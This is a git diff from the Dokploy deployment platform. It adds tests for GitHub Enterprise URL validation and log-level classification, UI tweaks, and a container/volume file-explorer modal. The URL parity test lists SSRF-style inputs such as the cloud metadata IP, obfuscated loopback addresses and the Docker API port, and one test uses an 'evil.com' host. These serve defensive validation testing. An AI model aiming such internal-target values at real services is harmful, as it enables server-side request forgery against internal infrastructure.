expect(mockOctokitRequest).not.toHaveBeenCalled(); + expect(mockCreateGithub).not.toHaveBeenCalled(); + }); + + it("throws on a repeated parameter instead of silently picking one", async () => { + // ?githubUrl=a&githubUrl=b reaches .trim() on an array. + await expect( + call(["https://acme.ghe.com", "https://evil.com"]), + ).rejects.toThrow(); + + expect(mockCreateGithub).not.toHaveBeenCalled(); + }); + + it("accepts a data residency tenant", async () => { + await call("https://acme.ghe.com"); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://acme.ghe.com" }), + ORG, + USER, + ); + }); + + it("accepts a self-hosted Enterprise Server host", async () => { + await call("https://github.corp.acme.com"); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://github.corp.acme.com" }), + ORG, + USER, + ); + }); + + it("treats an absent parameter as github.com", async () => { + await call(undefined); + + expect(mockCreateGithub).toHaveBeenCalledWith( + expect.objectContaining({ githubUrl: "https://github.com" }), + ORG, + USER, + ); + }); +}); diff --git a/apps/dokploy/__test__/git-provider/github-url-parity.test.ts b/apps/dokploy/__test__/git-provider/github-url-parity.test.ts new file mode 100644 index 000000000..7bd20e253 --- /dev/null +++ b/apps/dokploy/__test__/git-provider/github-url-parity.test.ts @@ -0,0 +1,75 @@ +import { parseGithubBaseUrl } from "@dokploy/server/utils/providers/github"; +import { describe, expect, it } from "vitest"; +import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils"; + +/** + * The client cannot import from @dokploy/server (node-only modules), so + * resolveGithubBaseUrl duplicates parseGithubBaseUrl. Nothing but this file + * stops the two from drifting apart — and they already did once, when the + * client stripped trailing slashes but not paths and the form action disagreed + * with the persisted row. + * + * The invariant: for the same input, both must make the same accept/reject + * decision, and agree on the URL when they accept. + */ +const INPUTS = [ + // Accepted + "https://github.com", + "github.com", + "https://acme.ghe.com", + "acme.ghe.com", + "https://github.corp.acme.com", + "https://github.acme.com:8443", + "https://acme.ghe.com/", + "https://acme.ghe.com///", + "https://acme.ghe.com/enterprises/foo", + "https://acme.ghe.com/some/path?x=1", + " acme.ghe.com ", + "https://acme.ghe.com.", + "https://169.254.169.254", + "https://127.0.0.1", + "https://2130706433", + "https://0x7f.1", + "", + " ", + // Rejected + "http://acme.ghe.com", + "http://localhost:2375", + "https://[::1]", + "https://[::ffff:127.0.0.1]", + "https://metadata", + "https://metadata.", + "https://localhost", + "https://localhost.", + "htps://acme.ghe.com", + "ftp://acme.ghe.com", + "https://", + "acme .ghe.com", + "esto no es una url", +]; + +describe("client and server agree on GitHub base URLs", () => { + it.each(INPUTS)("%j", (input) => { + const client = resolveGithubBaseUrl(input); + const server = parseGithubBaseUrl(input); + + const clientAccepted = !client.error; + const serverAccepted = "url" in server; + + expect( + clientAccepted, + `accept/reject differs for ${JSON.stringify(input)}`, + ).toBe(serverAccepted); + + if (clientAccepted && "url" in server) { + expect(client.baseUrl, `resolved URL differs for ${input}`).toBe( + server.url, + ); + } + }); + + it("both treat an empty value as github.com", () => { + expect(resolveGithubBaseUrl("").baseUrl).toBe(DEFAULT_GITHUB_URL); + expect(parseGithubBaseUrl("")).toEqual({ url: DEFAULT_GITHUB_URL }); + }); +}); diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts new file mode 100644 index 000000000..edb6b9e51 --- /dev/null +++ b/apps/dokploy/__test__/logs/log-classification.test.ts @@ -0,0 +1,42 @@ +import { getLogType } from "@/components/dashboard/docker/logs/utils"; +import { expect, test } from "vitest"; + +test("classifies real failures as error", () => { + expect(getLogType("Error: connection refused at db:5432").type).toBe("error"); + expect(getLogType("[ERROR] something went wrong").type).toBe("error"); + expect(getLogType("Deployment failed").type).toBe("error"); + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326ms", failed: true, skipped: false, error: exit code 1', + ).type, + ).toBe("error"); +}); + +test("does not classify explicit non-error key/values as error (#4538)", () => { + // ofelia job-completion summary for a successful run + expect( + getLogType( + 'NOTICE [Job "sync-1m" (e1305c5b54b1)] Finished in "326.16795ms", failed: false, skipped: false, error: none', + ).type, + ).not.toBe("error"); + + expect(getLogType("request done, error: null").type).not.toBe("error"); + expect(getLogType("checks passed, failures=0").type).not.toBe("error"); + expect(getLogType('shutdown clean, error=""').type).not.toBe("error"); + expect(getLogType('job done failed=false error=""').type).not.toBe("error"); +}); + +test("keeps errors whose value merely starts with a no-error word", () => { + expect(getLogType("connect failed: no route to host").type).toBe("error"); + expect(getLogType("connection failed: no such host").type).toBe("error"); + expect( + getLogType("error: none of the configured nodes are available").type, + ).toBe("error"); + expect(getLogType("error: nil pointer dereference").type).toBe("error"); + expect(getLogType("request failed: 0 bytes received").type).toBe("error"); +}); + +test("keeps statusCode-based classification", () => { + expect(getLogType('{"statusCode": "500"}').type).toBe("error"); + expect(getLogType('{"statusCode": "204"}').type).toBe("success"); +}); diff --git a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts index bb6f5f18b..85cd0821f 100644 --- a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts +++ b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts @@ -39,6 +39,7 @@ const ENTERPRISE_RESOURCES = [ "logs", "monitoring", "auditLog", + "vaultProvider", ]; describe("enterpriseOnlyResources set", () => { diff --git a/apps/dokploy/__test__/requests/request.test.ts b/apps/dokploy/__test__/requests/request.test.ts index 3f58ac439..844458fd2 100644 --- a/apps/dokploy/__test__/requests/request.test.ts +++ b/apps/dokploy/__test__/requests/request.test.ts @@ -55,6 +55,28 @@ describe("processLogs", () => { expect(result.data).toHaveLength(2); }); + it("should not throw when filtering by hostname and an entry has no RequestHost", () => { + const entryWithoutRequestHost = sampleLogEntry.replace( + /"RequestHost":"[^"]*",/, + "", + ); + + const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`; + + expect(() => + parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"), + ).not.toThrow(); + + const result = parseRawConfig( + mixedEntries, + undefined, + undefined, + "traefik.me", + ); + expect(result.totalCount).toBe(1); + expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me"); + }); + it("should filter out Dokploy dashboard requests", () => { const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`; diff --git a/apps/dokploy/__test__/traefik/forward-auth.test.ts b/apps/dokploy/__test__/traefik/forward-auth.test.ts index 9bc9a1f9e..7b2ecca63 100644 --- a/apps/dokploy/__test__/traefik/forward-auth.test.ts +++ b/apps/dokploy/__test__/traefik/forward-auth.test.ts @@ -35,6 +35,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; describe("forwardAuthMiddlewareName", () => { diff --git a/apps/dokploy/__test__/traefik/traefik.test.ts b/apps/dokploy/__test__/traefik/traefik.test.ts index b7b0f5645..379c63a00 100644 --- a/apps/dokploy/__test__/traefik/traefik.test.ts +++ b/apps/dokploy/__test__/traefik/traefik.test.ts @@ -151,6 +151,7 @@ const baseDomain: Domain = { stripPath: false, middlewares: null, forwardAuthEnabled: false, + enabled: true, }; const baseRedirect: Redirect = { diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts index c0e734282..4dac477da 100644 --- a/apps/dokploy/__test__/utils/hostname-validation.test.ts +++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts @@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => { "a.b.c.example.co", "xn--80ak6aa92e.com", "123.example.com", + "example", + "dokploy-server", + "localhost", ])("accepts valid hostname %s", (host) => { expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true); }); @@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => { "bbn_client.example.com", "-example.com", "example-.com", - "example", "exa mple.com", "example..com", "", diff --git a/apps/dokploy/__test__/utils/log-type.test.ts b/apps/dokploy/__test__/utils/log-type.test.ts new file mode 100644 index 000000000..b2edfd58c --- /dev/null +++ b/apps/dokploy/__test__/utils/log-type.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, test } from "vitest"; +import { getLogType } from "@/components/dashboard/docker/logs/utils"; + +describe("getLogType", () => { + describe("explicit level declared by structured loggers", () => { + test("JSON string levels (pino, winston, zap)", () => { + expect(getLogType('{"level":"trace","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"debug","msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":"info","msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":"warn","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"warning","msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":"error","msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":"fatal","msg":"x"}').type).toBe("error"); + }); + + test("JSON numeric levels (pino, bunyan)", () => { + expect(getLogType('{"level":20,"msg":"x"}').type).toBe("debug"); + expect(getLogType('{"level":30,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":40,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":50,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":60,"msg":"x"}').type).toBe("error"); + }); + + test("syslog/GELF numeric levels", () => { + expect(getLogType('{"level":3,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"level":4,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"level":6,"msg":"x"}').type).toBe("info"); + expect(getLogType('{"level":7,"msg":"x"}').type).toBe("debug"); + }); + + test("GCP-style severity and ECS log.level", () => { + expect(getLogType('{"severity":"ERROR","message":"x"}').type).toBe( + "error", + ); + expect(getLogType('{"severity":"WARNING","message":"x"}').type).toBe( + "warning", + ); + expect(getLogType('{"log.level":"error","message":"x"}').type).toBe( + "error", + ); + }); + + test("logfmt levels", () => { + expect( + getLogType('ts=2026-06-12T10:00:00Z level=error msg="boom"').type, + ).toBe("error"); + expect( + getLogType('ts=2026-06-12T10:00:00Z level=info msg="ok"').type, + ).toBe("info"); + expect(getLogType("level=warn msg=careful").type).toBe("warning"); + }); + + test("declared level wins over keywords in the message (#4589, #1996)", () => { + // "version"/"GET" in this pino line would otherwise match the debug keywords + const pinoError = + '{"level":"error","version":"72b4450","method":"GET","path":"/api/campaigns","err":{"type":"ForbiddenError","stack":"ForbiddenError: at requireRole (/app/src/plugins/campaign.plugin.ts:166:15)"},"msg":"Forbidden"}'; + expect(getLogType(pinoError).type).toBe("error"); + + // info line containing error-like keywords (#4589) + expect( + getLogType( + '{"level":"info","msg":"Failed to open mempool file. Continuing anyway."}', + ).type, + ).toBe("info"); + + // successful job summary with "failed: false, error: none" (#4538) + expect( + getLogType( + 'level=info msg="Finished job, failed: false, skipped: false, error: none"', + ).type, + ).toBe("info"); + }); + + test("declared level wins over statusCode", () => { + expect(getLogType('{"level":"info","statusCode":500}').type).toBe("info"); + }); + + test("unknown level names fall back to keyword detection", () => { + expect( + getLogType('{"level":"verbose","msg":"connection failed"}').type, + ).toBe("error"); + }); + + test("env-var-like text is not treated as logfmt level", () => { + expect(getLogType("LOG_LEVEL=error NODE_ENV=production").type).not.toBe( + "error", + ); + }); + }); + + describe("fallback detection for unstructured logs (unchanged)", () => { + test("statusCode classification", () => { + expect(getLogType('{"statusCode":500,"msg":"x"}').type).toBe("error"); + expect(getLogType('{"statusCode":404,"msg":"x"}').type).toBe("warning"); + expect(getLogType('{"statusCode":200,"msg":"x"}').type).toBe("success"); + }); + + test("keyword classification", () => { + expect(getLogType("error: something broke").type).toBe("error"); + expect(getLogType("warning: disk almost full").type).toBe("warning"); + expect(getLogType("Server listening on port 8080").type).toBe("success"); + }); + + test("defaults to info", () => { + expect(getLogType("hello world").type).toBe("info"); + }); + }); +}); diff --git a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx index 95f849480..ae3392473 100644 --- a/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/cluster/show-cluster-settings.tsx @@ -187,7 +187,7 @@ export const ShowClusterSettings = ({ id, type }: Props) => { To use a cluster feature, you need to configure at least a registry first. Please, go to{" "} Settings diff --git a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx index 56df21c73..9b24d8650 100644 --- a/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx +++ b/apps/dokploy/components/dashboard/application/advanced/redirects/handle-redirect.tsx @@ -234,7 +234,7 @@ export const HandleRedirect = ({ Replacement - + diff --git a/apps/dokploy/components/dashboard/application/build/show.tsx b/apps/dokploy/components/dashboard/application/build/show.tsx index 32aee23d3..ac2531f94 100644 --- a/apps/dokploy/components/dashboard/application/build/show.tsx +++ b/apps/dokploy/components/dashboard/application/build/show.tsx @@ -88,6 +88,7 @@ const mySchema = z.discriminatedUnion("buildType", [ z.object({ buildType: z.literal(BuildType.nixpacks), publishDirectory: z.string().optional(), + isStaticSpa: z.boolean().default(false), }), z.object({ buildType: z.literal(BuildType.railpack), @@ -138,6 +139,7 @@ const resetData = (data: ApplicationData): AddTemplate => { return { buildType: BuildType.nixpacks, publishDirectory: data.publishDirectory || undefined, + isStaticSpa: data.isStaticSpa ?? false, }; case BuildType.paketo_buildpacks: return { @@ -179,6 +181,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { const buildType = form.watch("buildType"); const railpackVersion = form.watch("railpackVersion"); + const publishDirectory = form.watch("publishDirectory"); const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false); useEffect(() => { @@ -224,7 +227,10 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { ? data.herokuVersion : null, isStaticSpa: - data.buildType === BuildType.static ? data.isStaticSpa : null, + data.buildType === BuildType.static || + data.buildType === BuildType.nixpacks + ? data.isStaticSpa + : null, railpackVersion: data.buildType === BuildType.railpack ? data.railpackVersion || "0.15.4" @@ -419,6 +425,30 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => { )} /> )} + {buildType === BuildType.nixpacks && publishDirectory && ( + ( + + +
+ + + Single Page Application (SPA) + +
+
+ +
+ )} + /> + )} {buildType === BuildType.static && ( (null); + const [removingDeploymentIds, setRemovingDeploymentIds] = useState< + Set + >(new Set()); const { data: deployments, isPending: isLoadingDeployments } = api.deployment.allByType.useQuery( { @@ -81,7 +84,7 @@ export const ShowDeployments = ({ api.rollback.rollback.useMutation(); const { mutateAsync: killProcess, isPending: isKillingProcess } = api.deployment.killProcess.useMutation(); - const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } = + const { mutateAsync: removeDeployment } = api.deployment.removeDeployment.useMutation(); // Cancel deployment mutations @@ -408,6 +411,11 @@ export const ShowDeployments = ({ description="Are you sure you want to delete this deployment? This action cannot be undone." type="default" onClick={async () => { + setRemovingDeploymentIds((deploymentIds) => { + const nextDeploymentIds = new Set(deploymentIds); + nextDeploymentIds.add(deployment.deploymentId); + return nextDeploymentIds; + }); try { await removeDeployment({ deploymentId: deployment.deploymentId, @@ -415,13 +423,25 @@ export const ShowDeployments = ({ toast.success("Deployment deleted successfully"); } catch (error) { toast.error("Error deleting deployment"); + } finally { + setRemovingDeploymentIds((deploymentIds) => { + const nextDeploymentIds = new Set( + deploymentIds, + ); + nextDeploymentIds.delete( + deployment.deploymentId, + ); + return nextDeploymentIds; + }); } }} > ))} @@ -502,14 +506,14 @@ export const SaveBitbucketProvider = ({ applicationId }: Props) => { control={form.control} name="enableSubmodules" render={({ field }) => ( - + - Enable Submodules + Enable Submodules )} /> diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx index 3fd059289..99b997d50 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-git-provider.tsx @@ -242,14 +242,18 @@ export const SaveGitProvider = ({ applicationId }: Props) => { {field.value?.map((path, index) => ( {path} - { const newPaths = [...(field.value || [])]; newPaths.splice(index, 1); form.setValue("watchPaths", newPaths); }} - /> + > + + ))} @@ -298,14 +302,14 @@ export const SaveGitProvider = ({ applicationId }: Props) => { control={form.control} name="enableSubmodules" render={({ field }) => ( - + - Enable Submodules + Enable Submodules )} /> diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx index a43b257b8..8da817c80 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-gitea-provider.tsx @@ -477,14 +477,18 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => { className="flex items-center gap-1" > {path} - { const newPaths = [...(field.value || [])]; newPaths.splice(index, 1); field.onChange(newPaths); }} - /> + > + + ))} @@ -531,14 +535,14 @@ export const SaveGiteaProvider = ({ applicationId }: Props) => { control={form.control} name="enableSubmodules" render={({ field }) => ( - + - Enable Submodules + Enable Submodules )} /> diff --git a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx index 29df617b1..61b425c1e 100644 --- a/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx +++ b/apps/dokploy/components/dashboard/application/general/generic/save-github-provider.tsx @@ -47,6 +47,7 @@ import { } from "@/components/ui/tooltip"; import { cn } from "@/lib/utils"; import { api } from "@/utils/api"; +import { DEFAULT_GITHUB_URL } from "@/utils/github-utils"; const GithubProviderSchema = z.object({ buildPath: z.string().min(1, "Path is required").default("/"), @@ -96,6 +97,11 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { const repository = form.watch("repository"); const githubId = form.watch("githubId"); + + // Enterprise repositories do not live on github.com. + const providerUrl = + githubProviders?.find((provider) => provider.githubId === githubId) + ?.githubUrl ?? DEFAULT_GITHUB_URL; const triggerType = form.watch("triggerType"); const { data: repositories, isPending: isLoadingRepositories } = @@ -227,7 +233,7 @@ export const SaveGithubProvider = ({ applicationId }: Props) => { Repository {field.value.owner && field.value.repo && ( { { + if (!value) { + return; + } + field.onChange(value); + }} value={field.value} > @@ -479,14 +489,18 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { {field.value?.map((path, index) => ( {path} - { const newPaths = [...(field.value || [])]; newPaths.splice(index, 1); form.setValue("watchPaths", newPaths); }} - /> + > + + ))} @@ -538,14 +552,14 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => { control={form.control} name="enableSubmodules" render={({ field }) => ( - + - Enable Submodules + Enable Submodules )} /> diff --git a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx index 13a1cafc8..c101d091b 100644 --- a/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx +++ b/apps/dokploy/components/dashboard/compose/general/generic/save-gitlab-provider-compose.tsx @@ -468,14 +468,18 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => { {field.value?.map((path, index) => ( {path} - { const newPaths = [...(field.value || [])]; newPaths.splice(index, 1); form.setValue("watchPaths", newPaths); }} - /> + > + + ))} @@ -523,14 +527,14 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => { control={form.control} name="enableSubmodules" render={({ field }) => ( - + - Enable Submodules + Enable Submodules )} /> diff --git a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx index 23bb4536d..a7b4d3014 100644 --- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx +++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx @@ -57,7 +57,7 @@ export const ShowDockerLogsStack = ({ }, ); - const { data: containers, isPending: containersLoading } = + const { data, isPending: containersLoading } = api.docker.getContainersByAppNameMatch.useQuery( { appName, @@ -69,6 +69,8 @@ export const ShowDockerLogsStack = ({ }, ); + const containers = data?.filter((container) => container.containerId); + useEffect(() => { if (option === "native") { if (containers && containers?.length > 0) { diff --git a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx index 53f5ae03e..0c13bddb7 100644 --- a/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx +++ b/apps/dokploy/components/dashboard/database/backups/restore-backup.tsx @@ -316,7 +316,7 @@ export const RestoreBackup = ({ Restore Backup - + diff --git a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx index 770d4efd0..11ffae7d0 100644 --- a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx +++ b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx @@ -14,10 +14,11 @@ import { import type { inferRouterOutputs } from "@trpc/server"; import { ArrowUpDown, - Boxes, ChevronLeft, ChevronRight, + CircuitBoard, ExternalLink, + GlobeIcon, Loader2, Rocket, Server, @@ -71,6 +72,7 @@ function getServiceInfo(d: DeploymentRow) { return { type: "Application" as const, name: app.name, + icon: app.icon, projectId: app.environment.project.projectId, environmentId: app.environment.environmentId, projectName: app.environment.project.name, @@ -83,6 +85,7 @@ function getServiceInfo(d: DeploymentRow) { return { type: "Compose" as const, name: comp.name, + icon: comp.icon, projectId: comp.environment.project.projectId, environmentId: comp.environment.environmentId, projectName: comp.environment.project.name, @@ -175,10 +178,16 @@ export function ShowDeploymentsTable() { if (!info) return ; return (
- {info.type === "Application" ? ( - + {info.icon ? ( + {info.name} + ) : info.type === "Application" ? ( + ) : ( - + )}
{info.name} diff --git a/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx new file mode 100644 index 000000000..6bf843da6 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx @@ -0,0 +1,401 @@ +import { + ChevronRight, + Download, + File, + Folder, + FolderOpen, + Loader2, + RefreshCw, + Trash2, +} from "lucide-react"; +import { useEffect, useMemo, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; +import { api } from "@/utils/api"; + +type Props = { + serverId?: string; + children?: React.ReactNode; + asDropdownItem?: boolean; +} & ( + | { containerId: string; volumeName?: undefined } + | { volumeName: string; containerId?: undefined } +); + +const joinPath = (base: string, name: string) => + base === "/" ? `/${name}` : `${base}/${name}`; + +const decodeBase64 = (base64: string) => { + const binary = atob(base64); + const bytes = new Uint8Array(binary.length); + for (let i = 0; i < binary.length; i++) { + bytes[i] = binary.charCodeAt(i); + } + return bytes; +}; + +export const FilesExplorerModal = ({ + containerId, + volumeName, + serverId, + children, + asDropdownItem = true, +}: Props) => { + const [open, setOpen] = useState(false); + const [path, setPath] = useState("/"); + const [selectedFile, setSelectedFile] = useState(null); + const [editorContent, setEditorContent] = useState(""); + + const isVolume = !!volumeName; + const utils = api.useUtils(); + + const containerEntries = api.docker.listContainerFiles.useQuery( + { containerId: containerId ?? "", path, serverId }, + { enabled: open && !isVolume, retry: false }, + ); + const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery( + { volumeName: volumeName ?? "", path, serverId }, + { enabled: open && isVolume, retry: false }, + ); + const { + data: entries, + isLoading: isLoadingEntries, + error: entriesError, + refetch: refetchEntries, + isRefetching, + } = isVolume ? volumeEntries : containerEntries; + + const containerFile = api.docker.readContainerFile.useQuery( + { containerId: containerId ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && !isVolume && !!selectedFile, retry: false }, + ); + const volumeFile = api.dockerVolume.readVolumeFile.useQuery( + { volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && isVolume && !!selectedFile, retry: false }, + ); + const { + data: file, + isLoading: isLoadingFile, + error: fileError, + refetch: refetchFile, + } = isVolume ? volumeFile : containerFile; + + const fileBytes = useMemo( + () => (file ? decodeBase64(file.content) : null), + [file], + ); + const isBinary = useMemo( + () => !!fileBytes?.some((byte) => byte === 0), + [fileBytes], + ); + + useEffect(() => { + if (fileBytes && !isBinary) { + setEditorContent(new TextDecoder().decode(fileBytes)); + } + }, [fileBytes, isBinary]); + + const writeContainerFile = api.docker.writeContainerFile.useMutation(); + const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation(); + const deleteContainerFile = api.docker.deleteContainerFile.useMutation(); + const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation(); + + const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending; + const isDeleting = + deleteContainerFile.isPending || deleteVolumeFile.isPending; + + const saveFile = async () => { + if (!selectedFile) return; + try { + if (isVolume) { + await writeVolumeFile.mutateAsync({ + volumeName, + path: selectedFile, + content: editorContent, + serverId, + }); + } else { + await writeContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: selectedFile, + content: editorContent, + serverId, + }); + } + toast.success("File saved"); + refetchFile(); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Failed to save file", + ); + } + }; + + const deleteEntry = async (entryPath: string) => { + try { + if (isVolume) { + await deleteVolumeFile.mutateAsync({ + volumeName, + path: entryPath, + serverId, + }); + await utils.dockerVolume.listVolumeFiles.invalidate(); + } else { + await deleteContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: entryPath, + serverId, + }); + await utils.docker.listContainerFiles.invalidate(); + } + toast.success("Deleted"); + if (selectedFile === entryPath) { + setSelectedFile(null); + } + } catch (error) { + toast.error(error instanceof Error ? error.message : "Failed to delete"); + } + }; + + const breadcrumbs = path.split("/").filter(Boolean); + + const navigate = (nextPath: string) => { + setPath(nextPath); + setSelectedFile(null); + }; + + const handleOpenChange = (value: boolean) => { + setOpen(value); + if (!value) { + setPath("/"); + setSelectedFile(null); + setEditorContent(""); + } + }; + + const downloadFile = () => { + if (!fileBytes || !selectedFile) return; + const blob = new Blob([fileBytes]); + const url = URL.createObjectURL(blob); + const anchor = document.createElement("a"); + anchor.href = url; + anchor.download = selectedFile.split("/").pop() ?? "file"; + anchor.click(); + URL.revokeObjectURL(url); + }; + + return ( + + + {asDropdownItem ? ( + e.preventDefault()} + > + {children} + + ) : ( + children + )} + + + + + + {isVolume ? "Volume Files" : "Container Files"} + + + {isVolume + ? `Browse and edit files inside the "${volumeName}" volume` + : "Browse and edit files inside the container's filesystem"} + + + +
+ + {breadcrumbs.map((segment, index) => ( + + + {index < breadcrumbs.length - 1 && ( + + )} + + ))} + +
+ +
+
+ {isLoadingEntries ? ( +
+ Loading... + +
+ ) : entriesError ? ( +
+ {entriesError.message} +
+ ) : ( +
+ {path !== "/" && ( + + )} + {entries?.length === 0 && ( + + Empty directory + + )} + {entries?.map((entry) => { + const entryPath = joinPath(path, entry.name); + return ( +
+ + deleteEntry(entryPath)} + > + + +
+ ); + })} +
+ )} +
+ +
+ {!selectedFile ? ( +
+ Select a file to view or edit it +
+ ) : isLoadingFile ? ( +
+ Loading... + +
+ ) : fileError ? ( + {fileError.message} + ) : ( + <> +
+ + {selectedFile} + +
+ + +
+
+ {file?.truncated ? ( + + This file is larger than 512KB. Showing a truncated preview; + editing is disabled. Use Download to get the truncated + content or the terminal for full access. + + ) : isBinary ? ( +
+ Binary file — use Download instead +
+ ) : ( +
+ setEditorContent(value)} + wrapperClassName="h-full font-mono" + /> +
+ )} + + )} +
+
+
+
